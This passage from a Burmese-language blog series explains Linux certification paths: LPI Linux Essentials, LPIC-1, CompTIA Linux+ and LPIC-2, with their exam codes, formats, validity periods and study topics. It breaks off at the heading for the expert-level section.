သူနဲ့ပတ်သတ်တဲ့ မေးခွန်းတွေမေးတာမို့လေ့လာသင်ကြားရတဲ့ သူမှာ အဲ့ဒီ Cisco ရဲ့routing protocol တွေနဲ့သာ ပိုပြီးရင်းနှီးသွားဖို့ရှိပါတယ်။ Routing protocol တွေရဲ့ concept နဲ့ဘယ်လိုအလုပ်လုပ်သလဲဆိုတာကို ရနိုင်ပေမယ့် brand အစွဲတစ်ခုအနေနဲ့ Cisco router တွေနဲ့သာ အကျွမ်းဝင်ပြီး Juniper တို့Vyos တို့လို router တွေနဲ့ဆို နည်းနည်းလေးစိမ်းနေနိုင်ပါတယ်။ အဲ… တစ်ခုရှိတာကာတော့ router product တော်တော်များများဟာ Linux platform ကိုသုံးတာပါ။ အဲ့ဒီတော့ Linux နဲ့ရင်းနှီးပြီးသားဆိုရင်တော့ command syntax တွေကပိုပြီး လွယ်မယ်လို့ထင်ပါတယ်။ ဒါက proprietary certification တွေမှာဘက်လိုက်နိုင်တဲ့ အကြောင်းကိုနည်းနည်းလေးရှင်းပြတာပါ။

နောက်ဆုံးတော့ brand တွေကိုမမှီခိုတဲ့ FLOSS community ကပေးတဲ့ certification အကြောင်းတွေ ကိုရေးဖို့ကိုသာ ဆုံးဖြတ်လိုက်ပါတော့တယ်။ အဲ့ဒီတော့ ကိုယ်က brand တစ်ခုအတွက် Linux certification လုပ်ရမှာဆိုရင်တော့ ဒီ post ကသိပ်အဆင်မပြေပါဘူး။ ဒီ post မှာရေးမယ့် certification တွေ ကတော့ Linux Professional Institute တို့ CompTIA တို့ The Linux Foundation တို့ကလုပ်ပေးထားတဲ့ certificate တွေဖြစ် ပါတယ်။ ဘယ် GNU/Linux distro ရယ်လို့ အစွဲမရှိစေပဲ Linux ဆိုတဲ့ platform တစ်ခုကို သင်ယူလေ့လာဖြစ်ပါတယ်။ နောက်တစ်ခုရှိတာက post မှာပါမယ် စာမေးပွဲတွေက sysadmin တို့ network admin တို့ virtualization specialist တွေအတွက်ပါ။ coding သမားတွေ programming သမားတွေ အတွက်တော့ Linux မှာအသုံးများတဲ့ language တွေအတွက် သီးသန့်စာမေးပွဲတွေရှိပါတယ်။ ဒီ post ကတော့ Linux ဆိုတာဘာလဲ၊ ဘယ်လိုသုံးရသလဲ၊ ဘယ်လို manage လုပ်သလဲဆိုတာတွေကို cover ဖြစ်မှာပါ။ အခြေခံလိုအပ်မှုတွေအတွက် အလွယ်ဆုံး beginner အဆင့် certification ကနေစပြီးတော့ တဖြေးဖြေး ပိုပိုမြင့်လာတဲ့ certification တွေအကြောင်းကို တဆင့်ပြီး တဆင့်ရှင်း ပြသွားပါ့မယ်။ Certification တွေရဲ့ provider သုံးခုကို အခြေခံပြီးတော့ပြောသွားပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-d65f90f57e4e4c1dd0e4e27b313c54b8cd2d6577%2Flogo%402x.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-01313827dc251960c296d40e3e60d68930ab1519%2FLinux.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4e9beaa4ddb5a2696ade983f0f30123bf3f2e5c0%2F1569869_orig-300x115.gif?alt=media" alt=""><figcaption></figcaption></figure>

### **အခြေခံအဆင့် certification များ**

**LPI Linux Essentials**\
ပထမဆုံးကတော့ Linux Professional Institute (LPI) ဆိုတဲ့ certification provider ဖြစ်ပါတယ်။ အခြေခံအကျဆုံး beginner အဆင့်ကို စလုပ်မယ် ဆိုရင်တော့ စာရေးသူအနေနဲ့ Linux Professional Institute ရဲ့ LPI Linux Essentials ကိုဖြေဖို့ကို တိုက်တွန်းပါတယ်။ LPI Linux Essentials ကိုတော့ နောက်တဆင့်မြင့်တဲ့ Linux certification တွေအတွက်လည်း လိုအပ်သလို Linux စသုံးတဲ့လူတွေအတွက်လည်း သင်ကြားမူတစ်ခု စတင်ဖို့ကို ရည်ညွန်းပါတယ်။ အခြေခံအကျဆုံး Linux ရဲ့မရှိမဖြစ်လိုအပ်တဲ့ အရာတွေကို လေ့လာရင် certification တစ်ခုပြီးသွားမယ့် စာမေးပွဲဖြစ်ပါတယ်။ LPI Linux Essentails စာမေးပွဲကိုဖြေမယ်ဆိုရင်အောက်က အချက်တွေကို သိထားသင့်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-433d42ee3f17f3718a8d02f81d9dc4e4c951050a%2FLPI-Essentials-300x233.jpg?alt=media" alt=""><figcaption></figcaption></figure>

* **LPI Linux Essentials ရဲ့လက်ရှိ version** လက်ရှိမှာတော့ version 1.5 ကိုရောက်နေပါပြီ။ ICT industry ရဲ့လိုအပ်ချက်တွေကို ဖြည့်ဆည်းဖို့ရာ version တွေကို ပုံမှန် update လုပ်ရပါတယ်။ တခါတလေ certification exam တွေကို update လုပ်တဲ့အခါမှာ မေးခွန်းပုံစံတွေပါပြောင်းလဲ သွားတတ်တာမို့ သတိပြုစေချင်ပါတယ်။ ကိုယ်က ဘယ် version ကိုဖြေဆိုမလဲဆိုတာလည်းသိထားရပါမယ်။ တချို့ certification တွေမှာ version တွေ retired ဖြစ်သွားတာတွေရှိပါတယ်။ အဲ့ဒါတွေကိုလည်း သတိပြုစေချင်ပါတယ်။ Exam code ကတော့ 010-150 ဆိုတာနဲ့ရှာရပါမယ်။
* **LPI Linux Essentials မဖြေခင်လိုအပ်ချက်များ** ဒီစာမေးပွဲဖြေဆိုဖို့အတွက်ဆို ရှေ့မှာကိုယ်က ဘာစာမေးပွဲမှ ဖြေဆိုအောင်မြင်ထားစရာမလိုပါဘူး။ အခြေခံစာမေးပွဲဖြစ်တဲ့အတွက် ကိုယ်အဆင်သင့် ဖြစ်ပြီဆိုတာနဲ့test center တစ်ခုမှာ register လုပ်ပြီးဖြေဆိုလိုက်ရုံပါပဲ။
* **LPI Linux Essentials ရဲ့ မေးခွန်းပုံစံနဲ့ဖြေဆိုချိန်** LPI 010-150 ကိုဖြေဆိုမယ်ဆိုရင်တော့ multiple-choice လို မေးခွန်းမျိုးအခု ၄၀ ကို မိနစ် ၆၀ အတွင်းမှာပြီးအောင်ဖြေဆိုရမှာဖြစ်ပါတယ်။
* **LPI Linux Essentials ရဲ့ အကြုံဝင် သက်တမ်း** Lifetime တသက်စာလုံလောက်ပါတယ်တဲ့ဗျာ။ တခါဖြေပြီးတာနဲ့သက်တမ်းကုန်ဆုံးသွားတာမျိုးမရှိ သက်တမ်းသတ်မှတ်ချက်မရှိပါဘူး။ အသစ်ထွက်လာတဲ့ နည်းပညာပိုင်းတွေကိုတော့ ကိုယ်ပိုင်လေ့လာသင်ယူသင့်ပါတယ်။ certification ဆိုတာမျိုးက လုပ်ငန်းခွင်ဝင်တဲ့အခါမှာ ကိုယ်သိထားတယ် ဆိုတာမျိုးကိုပြဖို့အတွက်သာဖြစ်ပါတယ်။ ကျွမ်းကျင်မှုဆိုတာကတော့ ကိုယ်နဲ့သာဆိုင်ပါတယ်။ ကိုယ်ဘယ်လောက် အပြင်မှာလေ့လာနိုင်သလဲ၊ ဘယ်လောက်အတွေ့အကြုံရှိ သလဲဆိုတာနဲ့သာဆိုင်ပါတယ်။
* **LPI Linux Essentials အတွက်ပြင်ဆင်စရာ အပိုင်းများ** ဒီစာမေးပွဲကိုဖြေဆိုမယ်ဆိုရင်တော့ Linux နဲ့open source community အကြောင်းကိုတော့ အနည်းအကျဉ်းသိရှိထားရပါမယ်။ Linux ဆိုတာဘာလဲ၊ ဘယ်ကစသလဲ၊ ဘယ်သူတွေကစခဲ့တာလဲ၊ open source community မှာ Linux သမားတွေ ဘယ်လိုအပြန်အလှန် support ပေးကြသလဲဆိုတာမျိုးကိုလောက်တော့ သိထားရပါမယ်။ နာမည်ကြီးတဲ့ distro အကြောင်းလေးတွေလည်း သိထားတော့ အဲ့ဒါမျိုးမေးခွန်းတွေအတွက် အဆင်သင့်ဖြစ်ပြီးသားပေါ့။ နောက်ပြီး Linux မှာပါတဲ့ အစိတ်အပိုင်းလေးတွေကိုလည်း အခြေခံအားဖြင့်သိထားရပါမယ်။ ဥပမာ Linux kernel ဆိုတာဘာလဲဆိုတာမျိုးဆိုပြောတာပါ။ အရေးအကြီးဆုံးနဲ့အခြေခံအဆင့်မှာထဲက မရှိမဖြစ်လိုအပ်တဲ့ skill ဖြစ်တဲ့ command line တွေကိုလည်း အလုပ်ဖြစ်အောင်သုံးနိုင်တဲ့အထိတော့ သိထားရပါမယ်။ command တိုင်းရဲ့argument တွေ option တွေအားလုံးကို မမှတ်မိရင်တောင်မှ နေ့စဉ်သုံး command တွေဖြစ်တဲ့ ls တို့cd တို့touch တို့tar တို့လို မသုံးမဖြစ် သုံးနေရတဲ့ command တွေနဲ့တော့ ရင်းနှီးနေရပါမယ်။ သိနေတာထက် အသုံးချတတ်လောက်အောင်ကို command တွေနဲ့ရင်းနှီးနေရင် တော့ပိုကောင်း ပါတယ်။ ဒါ့အပြင် Microsoft မှာလို GUI ကနေပြီးတော့ system administration နဲ့configuration လုပ်တာမျိုးက Linux မှာရှားပါတယ်။ Linux မှာတော့ command တွေကနေ တဆင့် administrative task တွေတော်တော်များများ ကိုလုပ်ဆောင်ရပါတယ်။ အဲ့ဒါကြောင့် Linux ရဲ့ security နဲ့administration အကြောင်းလည်း တစေ့တစောင်း သိထားရပါမယ်။ user နဲ့group တွေကို ဘယ်လို manage လုပ်တယ်ဆိုမျိုးနဲ့ file/folder တွေရဲ့permission ကို command line မှာဘယ်လို လုပ်သလဲဆိုမျိုးကို အနည်းအကျဉ်းတော့ သိထားရပါမယ်။ အဲ့ဒီတော့ ဒီ LPI Linux Essentials မှာ Linux command line တွေတော်တော်များများ လေ့လာသင်ယူ ရမှာဖြစ်ပါတယ်။ အဲ့ဒီ command တွေကလည်း နေ့စဉ်နဲ့အမျှသုံးနေရ မှာမို့သိကိုသိထားရမှာ လည်းဖြစ်ပါတယ်။

ဒါကတော့ Linux မှာအခြေခံအကျဆုံး beginner အဆင့်မှာလေ့လာလို့ရတဲ့ certification အကြောင်းဖြစ်ပါတယ်။ တခြား training နဲ့ certification provider တွေမှာလည်း ခပ်ဆင်ဆင် စာမေးပွဲတွေရှိပါတယ်။ အခြေခံအဆင့်မှာတော့ တစ်ခုနဲ့တစ်ခုအရမ်းကြီးကွာခြားမူ မရှိသလောက်ပါပဲ။ Linux ကိုစနစ်တကျလေ့လာ ချင်တယ်ဆိုရင်တော့ LPI Linux Essentials လောက်ကိုတော့ လေ့လာ သင့်ပါတယ်။ လုပ်ငန်းခွင်အတွက် ဖြေဆိုသင့်ပါတယ်။ အခုနောက်ပိုင်းမှာတော့ Cisco ကလည်း Linux course တွေကို စတင်ပြီးမိတ်ဆက်လာပါပြီ။ အခြေခံအဆင့်မှာတော့ Cisco ရဲ့ course နာမည်ကတော့ NDG Linux Essentials လိုခေါ်ပါတယ်။ သူလည်း LPI Linux Essentials နည်းတူ command line တွေနဲ့ ဘယ်လို administrate လုပ်သလဲဆိုတဲ့ အခြေခံအဆင့်ကို cover ဖြစ်ပါတယ်။ တနည်းအားဖြင့် Cisco ရဲ့ NDG Linux Essentials ဆိုတာလည်း LPI Linux Essentials စာမေးပွဲအတွက် ပြင်ဆင်ပေးတဲ့ training material တစ်ခုပါပဲ။ နှစ်ခုထဲက ကိုယ်ကြိုက်တဲ့ တစ်ခုကို လေ့လာလို့ ရပါတယ်။

နောက်အပိုင်းတွေမှာတော့ ဒီထက်တဆင့်မြင့်သွားတဲ့ Linux စာမေးပွဲတွေအကြောင်းကိုဆက်ရေးပါ့မယ်။ administrator အဆင့် specialist အဆင့် စာမေးပွဲတွေ အတွက်တော့ နောက်တပိုင်းမှာ ဆက်လက် ဖတ်ရှုပေးပါ။


# အသုံးဝင်သော Linux Certification များအကြောင်း အပိုင်း (၂)

ဒီအပိုင်းမှာတော့ အခြေခံအဆင့်ထက်ပိုတဲ့ certification တွေအကြောင်းကိုဆက်ရေးသွားမှာဖြစ်ပါတယ်။ ပထမပိုင်းနဲ့ အခုအပိုင်းအလယ်မှာ နည်းနည်းလေးကြာသလို ဖြစ်သွားပါတယ်။ အခုအပိုင်းမှာတော့ နည်းနည်းလေးပိုမြင့်သွားတဲ့ certification အကြောင်းဆက်ရေးမှာ ဖြစ်ပါတယ်။ ဒီအဆင့်မှာတော့ နှစ်ပိုင်းထပ်ခွဲသွားပြန်ပါတယ်။ ကိုယ်က Linux server နဲ့ system ဘက်ကို အရင်လိုက်မယ် ပြီးတော့တခါ networking အကြောင်းလည်းသိရ မှာပါ။ နောက်ပိုင်းမှာတော့ specialist ဆို ICT industry မှာသိမရှိတော့ပါဘူး။ Generalist တွေက ပိုပြီးမျက်နှာသာရကြပါတယ်။ အဲ့ဒါကြောင့်လည်း Linux certification မှာလည်း system ရော network ပိုင်းမှာပါ လေ့လာရင်းနဲ့ solid foundation ပေးတဲ့သဘောမျိုးနဲ့ အဆင့်မြင့် certification မှာတော့ System ပိုင်းကိုတစ်ပိုင်း Network ပိုင်းကိုတစ်ပိုင်း သက်သက်ဆီခွဲထုတ်လိုက် ပါတယ်။ System ပိုင်းကိုတော့အရင် ဖြေဆိုပြီးမှ network ပိုင်းကိုဆက်သွားရပါတယ်။ အောက်မှာ အသေးစိတ်ကိုထက်ရှင်းသွားပါ့မယ်။

## **အဆင့်မြင့် certification များ**

LPI Linux Essentials ဖြေဆိုပြီးလို့မှ ကိုယ်ကထပ်သိချင်တယ်၊ လေ့လာချင်တယ်ဆိုရင်တော့ နောက်အဆင့်အနေနဲ့ LPIC-1 Certified Linux Administrator စာမေးပွဲကို ဖြေဆိုနိုင်ပါတယ်။ ဒီအဆင့်မှာတော့ အခြေခံအဆင့်လို command လေးတွေသိထားပြီး သုံးတတ်တာနဲ့မပြီးတော့ပါဘူး။ လက်တွေမှာ ဘယ်လို သုံးမလဲဆိုတာပါသိလာရတော့ပါတယ်။ ဆိုပါတော့ Linux system ကိုဘယ်လို maintain လုပ်မလဲ configure လုပ်မလဲ ဆိုတာမျိုးအပြင် Linux မှာလိုအပ်တဲ့ အခြေခံ networking skill လောက်တော့ သိထားရပါလိမ့်မယ်။ ဒါကတော့ ကိုယ်က system ဘက်ကို အရင်လိုက်ချင်တယ် ပြီးတော့မှ network ကိုဆက်သွားမယ်ဆိုရပါ။

နောက်တစ်ခုက LPIC-2 Linux Engineer ဆိုတဲ့ စာမေးပွဲလည်း ဒီအဆင့်မှာရှိပါတယ်။ အဲ့ဒီတစ်ခုကတော့ system administration တွေ Linux ရဲ့ block storage အကြောင်းတွေအပြင် networking နဲ့ system security အကြောင်းတွေ အသေးစိတ်ပါ လာပါပြီ။ တစ်ခုရှိတာက LPI Certification တွေကိုဖြေဆို တဲ့အခါမှာ နိမ့်တဲ့ အဆင့်ကနေ မြင့်တဲ့ အဆင့် Certification တွေကို အစဉ်လိုက်တိုင်း ဖြေဆိုတာကတော့ အကောင်းဆုံးပါ။ ဒါမှာမဟုတ်ဘူး ကိုယ်က ကျွမ်းကျင်လို့ သက်ဆိုင်ရာ မြင့်တဲ့ certificate ကိုဖြေမယ်ဆိုလည်းရပါတယ်။ ဥပမာ ကိုယ်က Linux ကိုတော်တော်လေးလေ့လာထား ကျွမ်းကျင်ပြီးသာဆိုရင်လည်း LPIC-1 Certified Linux Administration certification ကိုတခါတည်းဖြေဆိုချင်လည်း ဖြေဆိုလို့ရပါတယ်။ LPI Linux Essentials စာမေးပွဲကို အရင်ဖြေဆိုစရာမလိုတော့ပါဘူး။ တစ်ခုစီကို အောက်မှာ အသေးစိတ်ထပ်ရှင်းပါ့မယ်။

### **LPIC-1 Linux Administrator**

ဒီ certification ကတော့ LPI Linux Essentials ထက်စာရင်ပိုခက်သွားပါပြီ။ အောက်မှာတော့ ဒီစာမေးပွဲ အတွက်လိုအပ်တဲ့ အချက်တွေကို ဖော်ပြပေးသွားပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-6c1e54cd1dc01a042bf06f30294c01b6da53cf04%2FLPIC-1-300x233.jpg?alt=media" alt=""><figcaption></figcaption></figure>

#### **LPIC-1 Linux Administrator ရဲ့ လက်ရှိ version**

လက်ရှိမှာတော့ version 4.0 ရောက်နေပါပြီ။ အဲ့ဒီ version ကိုတော့ LPI က ၂နှစ်ခွဲ တစ်ခါ ပြန်လည်စီစစ်ပြီး update လုပ်ပါတယ်။ Exam code ကတော့ 101-400 နဲ့ 102-400 တို့ ဖြစ်ပါတယ်။

#### **LPIC-1 Linux Administrator မဖြေဆိုခင် လိုအပ်ချက်များ**

ဒီစာမေးပွဲကို ဖြေဆိုဖို့ရာ LPI Linux Essentials ရှိစရာမလိုအပ်ပါဘူး။ စာရေးသူ အမြင်မှာတော့ Linux ကို အခုမှစပြီး လေ့လာသူတစ်ယောက်ဆိုရင်တော့ LPI Linux Essentials ပြီးမှ ဒီ LPIC-1 System Administrator ကိုဖြေရင်ပိုကောင်းမယ်ထင်ပါတယ်။ ဒါမှမဟုတ်ပဲနဲ့ ကိုယ်ကပိုင်နိုင်တယ်ဆိုရင်လည်း တိုက်ရိုက် LPIC-1 System Administrator ကိုဖြေဆိုလို့ ရပါတယ်။

#### **LPIC-1 Linux Administrator မေးခွန်းပုံစံနဲ့ ဖြေဆိုချိန်**

ဒီ LPIC-1 System Administrator certification ကိုရဖို့ အတွက် စာမေးပွဲ ၂ခုကိုဖြေဆိုရမှာ ဖြစ်ပါတယ်။ LPI 101 နဲ့ LPI 102 ဆိုတဲ့ စာမေးပွဲ နှစ်ခုကို ဖြေဆိုအောင်မြင်ရမှာဖြစ်ပါတယ်။ စာမေးပွဲ တစ်ခုစီမှာတော့ multiple-choice နဲ့ fill-in-the-blank မေးခွန်းပုံစံ အခု ၆၀ ကို မိနစ် ၉၀ အချိန်အတွင်းမှာ ပြီးအောင်ဖြေဆိုရမှာဖြစ်ပါတယ်။

#### **LPIC-1 Linux Administrator ရဲ့ အကြုံဝင် သက်တမ်း**

သူကတော့ ၅နှစ် အချိန်ရပါတယ်။ Microsoft လိုမျိုး ၂နှစ်တခါလောက်တော့ ပြန်ပြီး renew လုပ်စရာမလိုပါဘူး။ ထုံးစံအတိုင်း renew လုပ်ချင်ရင် အဆင့်တူတဲ့ certification ကိုပြန်ဖြေဆိုတာမျိုး သို့မဟုတ် အဲ့ဒီထက်မြင့်တဲ့ certification ကိုဖြေဆိုတာမျိုးကို ၅နှစ်အတွင်းမှာ လုပ်လို့ရပါတယ်။

#### **LPIC-1 Linux Administrator အတွက်ပြင်ဆင်စရာ အပိုင်းများ**

LPIC-1 Exam 101 အတွက်တော့ အကျဉ်းချုပ်အားဖြင့် Linux ရဲ့ System Architecture၊ installation and package management၊ GNU and Unix commands တွေအပြင် device၊ Linux Filesystems နဲ့ Filesystem Hierarchy Standard တွေအကြောင်းကို အသေးစိတ်ပြင်ဆင်ထားဖို့လိုပါလိမ့်မယ်။ LPIC-1 Exam 101 အကြောင်းသေသေချာချာ သိချင်ရင်တော့ ဒီ [link ](https://www.lpi.org/our-certifications/exam-101-objectives)ကနေတဆင့် အင်္ဂလိပ်လိုဖတ်ရှုလေ့လာနိုင်ပါတယ်။

LPIC-1 Exam 102 အတွက်တော့ Shells တွေအကြောင်း Scripting and Data Management နဲ့ interfaces and desktops တွေအပြင် administrative tasks၊ essential system services၊ networking fundamentals နဲ့ security အကြောင်းသိထား လေ့လာထားရမှာဖြစ်ပါတယ်။ LPIC-1 Exam 102 အကြောင်း အသေးစိတ်သိချင်ရင်တော့ ဒီ [link ](https://www.lpi.org/our-certifications/exam-102-objectives)မှာ အင်္ဂလိပ်လိုဖတ်ပါ။

### **CompTIA Linux+**

LPIC-1 Linux Administrator အဆင့်အတွက် LPI လိုပဲ နာမည်ကြီးတဲ့ training and certification provider တစ်ခုရှိပါတယ်။ အဲ့ဒါကတော့ CompTIA ဖြစ်ပါတယ်။ Linux အတွက် CompTIA Linux+ ဆိုတဲ့ certificaiton နောက်တစ်ခုရှိပါတယ်။ စျေးကတော့ LPI ထက်တော့ကြီးပါတယ်။ သို့ပေမယ့်လည်း ဒီ CompTIA က စာမေးပွဲနှစ်ခုကိုဖြေဆို အောင်မြင်တာနဲ့ LPIC-1 ကိုပါထပ်ဖြေစရာမလိုပဲ LPIC-1 ကိုလိုချင်ရင် ဘာမှထပ်ပေးစရာမလိုပဲ လျှောက်ထားလို့ရပါတယ်။ သူ့မှာလည်း Exam LX0-103 နဲ့ Exam LX0-104 ဆိုပြီးနှစ်ခုရှိပါတယ်။ ဒီ CompTIA Linux+ certification အကြောင်းကို စိတ်ဝင်စားရင်တော့ အင်္ဂလိပ်လို ဒီ [link ](https://certification.comptia.org/certifications/linux)ကနေတဆင့် သွားရောက်ဖတ်ရှုလို့ ရပါတယ်။ ICT industry မှာတော့ ဒီ CompTIA Linux+ ပိုပြီးတော့ ဖြေဆိုတဲ့သူများပြီးတော့ ပိုလည်း demanding ဖြစ်ပါတယ်။ ကိုယ်ပေါ်မှာပဲမူတည်ပါတယ် ဘယ်တစ်ခုကိုဖြေရင် ကောင်းမလဲဆိုတာကတော့။ နှစ်ခုလုံးကတော့ ICT industry ကနေ အသိအမှတ်ပြုတဲ့ certification တွေပါ။ CompTIA Linux+ အကြောင်းကိုတော့ ဒီမှာအသေးစိတ် မရေးတော့ပါဘူး။

နောက်အပိုင်းတွေ မှာတော့ LPIC-2 Linux Engineer နဲ့ LPIC-3 က certification တွေအကြောင်းကိုဆက်ရေးပါမယ်။


# အသုံးဝင်သော Linux Certification များအကြောင်း အပိုင်း (၃)

### **LPIC-2 Linux Engineer**

ဒီ certification ကတော့ network ပိုင်းကို ပိုပြီးတော့ ပိုင်ပိုင်နိုင်နိုင် ဖြစ်စေဖို့ကို networking ဆိုင်ရာ topic တော်တော်များများကို cover လုပ်ထားပါတယ်။ LPIC-2 ကိုဖြေဖို့အတွက် LPIC-1 ကိုတော့ အနည်းဆုံးအောင်ထားရပါမယ်။ သို့ပေမယ့်လည်း LPI က LPIC-1 နဲ့ LPIC-2 စာမေးပွဲတွေကို ကိုယ်နဲ့ အဆင်ပြေမယ့် အစဉ်အတိုင်းဖြေလို့လည်း ရပါတယ်လို့ဆိုပြန်ပါတယ်။ ဆိုလိုချင်တာကတော့ LPIC-1 နဲ့ LPIC-2 ကိုအဆင့်တစ်ခု အနေနဲ့ သတ်မှတ်ထား ပေးပြီး system နဲ့ network ပိုင်းကိုသာခွဲ လိုက်ခြင်းဖြစ်ပါတယ်။ အဲ့ဒါကြောင့် အဆင့်တစ်ခုထဲမှာ ကိုယ်က network ကို ပိုပြီးသန်လို့ အရင်ဖြေချင် လည်းရပါတယ်။ ဒီ certification မဖြေခင်တော့ အောက်ကအချက်လေး တွေကိုသိထားသင့်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4ef9500374d55532cef1cabf898a2d3aa3be0b56%2FLPIC-2-300x233.jpg?alt=media" alt=""><figcaption></figcaption></figure>

#### **LPIC-2 Linux Engineer ရဲ့ လက်ရှိ version**

လက်ရှိမှာတော့ LPIC-2 certification က version 4.0 ကိုရောက်ရှိလို့ နေပါပြီ။ LPIC-1 မှာလိုပဲ စာမေးပွဲနှစ်ခုကို ဖြေဆိုအောင်မြင်ရမှာဖြစ်ပါတယ်။ အဲ့ဒီ နှစ်ခုကတော့ Exam 201-400 နဲ့ Exam 202-400 တို့ဖြစ်ပါတယ်။ ၂နှစ်တခါ version ကို update လုပ်ပါတယ်။

#### **LPIC-2 Linux Engineer မဖြေဆိုခင် လိုအပ်ချက်များ**

အထက်မှာပြောခဲ့သလိုပါပဲ LPIC-2 ကိုရဖို့အတွက် LPIC-1 က အသက်ရှိနေရပါ့မယ်။ (ဖြေဆိုပြီး ၅နှစ်အတွင်းမှာ ဖြစ်ရပါ့မယ်။) ဒါပေမယ့်လည်း LPIC-1 က Exam နှစ်ခု နဲ့ LPIC-2 က Exam နှစ်ခုကိုတော့ ကိုယ်ကြိုက်တဲ့ အစဉ်အတိုင်း ဖြေဆိုခွင့်ရှိပါတယ်။ ထားပါတော့ ကိုယ်က LPIC-2 က Exam 201-400 နဲ့ Exam 202-400 ကို ပိုပိုင်လို့ အရင်ဖြေဆို လိုက်တယ် ဆိုပါတော့ Exam နှစ်ခုလုံးကို ဖြေဆိုအောင်မြင်ပြီးသည့်တိုင်အောင် LPIC-2 ရဲ့ certificate ကိုရအုံးမှာ မဟုတ်ပါဘူး။ ဘာလို့လည်းဆိုတော့ LPIC-1 certificate ကိုယ့်မှာ မရှိလို့ပါ။ အဲ့ဒီတော့ နောက်ပိုင်းတခါ LPIC-1 က Exam 101-400 နဲ့ Exam 102-400 ၅နှစ်အတွင်းမှာ ထက်ဖြေဆိုအောင်မြင်တယ် ဆိုရင်တော့ LPIC-1 နဲ့ LPIC-2 certificate နှစ်ခုလုံးကို တခါတည်းရမှာဖြစ်ပါတယ်။ ဒါဆိုရင်တော့ ကိုယ်ကနောက်ထက် သက်တမ်း ၅နှစ်ထက်တိုးရလိုက်တဲ့ သဘောပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-41828ec173b67b25eee6f48798a0fdeed4f6afc3%2FLPI-Cert-768x210.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **LPIC-2 Linux Engineer မေးခွန်းပုံစံနဲ့ ဖြေဆိုချိန်**

Exam 201 နဲ့ Exam 202 တစ်ခုစီမှာ multiple-choice နဲ့ fill-in-the-blank မေးခွန်း အခု ၆၀ ကိုဖြေဆိုရမှာဖြစ်ပြီး၊ ဖြေဆိုချိန်ရတော့ မိနစ် ၉၀ ရမှာဖြစ်ပါတယ်။

#### **LPIC-2 Linux Engineer ရဲ့ အကြုံဝင် သက်တမ်း**

သူလည်းပဲ LPIC-1 နည်းတူ ၅နှစ်အချိန်ရပါတယ်။

#### **LPIC-2 Linux Engineer အတွက်ပြင်ဆင်စရာ အပိုင်းများ**

LPIC-2 ရဲ့ Exam 201 ကိုဖြေဆိုဖို့ဆိုရင် အကျဉ်းချုပ်အားဖြင့် အောက်မှာဖော်ပြထားတဲ့ topic တွေကို ကြိုတင်လေ့လာ ပြင်ဆင်ထားရပါ့မယ်။

* Capacity Planning
* Linux Kernel
* System Startup
* Filesystem and Devices
* Advanced Storage Device Administration
* Networking Configuration
* System Maintenance

LPIC-2 ရဲ့ Exam 201 အကြောင်းကို အသေးစိတ်သိချင်ရင်တော့ ဒီ [link ](https://www.lpi.org/our-certifications/exam-201-objectives)ကနေပြီး အင်္ဂလိပ်လို စိတ်ရှည်လက်ရှည်သွား ဖတ်ကြည့်လို့ရပါတယ်။

Exam 202 အတွက်တော့ သိထား လေ့လာထားရမယ့် topic တွေကတော့ အောက်မှာဖော်ပြပေးထားတဲ့ အတိုင်းပါ။

* Domain Name Server
* Web Services
* File Sharing
* Network Client Management
* E-Mail Services
* System Security

Exam 202 မှာပါမယ့် key knowledge areas တွေကို အသေးစိတ် သိချင်ရင်တော့ ဒီ [link](https://www.lpi.org/our-certifications/exam-202-objectives) ကနေ တဆင့် အင်္ဂလိပ်လို ဖတ်ကြည့်လို့ရပါတယ်။

နောက်အပိုင်းတွေမှာတော့ LPIC-3 က ကျွမ်းကျင်အဆင့် certification တွေအကြောင်းကို ဆက်ရေးသွားပါ့မယ်။ အဲ့ဒါအပြင် The Linux Foundation က လက်တွေ့ စာမေးပွဲတွေ အကြောင်းကိုလည်း အနည်းအကျဉ်း ရေးသွားပါ့မယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-0e617e5ef89f5eb9d00a66e8a6aefff88774deb8%2FLPI-Roadmap.jpg?alt=media" alt=""><figcaption></figcaption></figure>


# အသုံးဝင်သော Linux Certification များအကြောင်း အပိုင်း (၄)

## ပညာရှင်အဆင့် certification များ

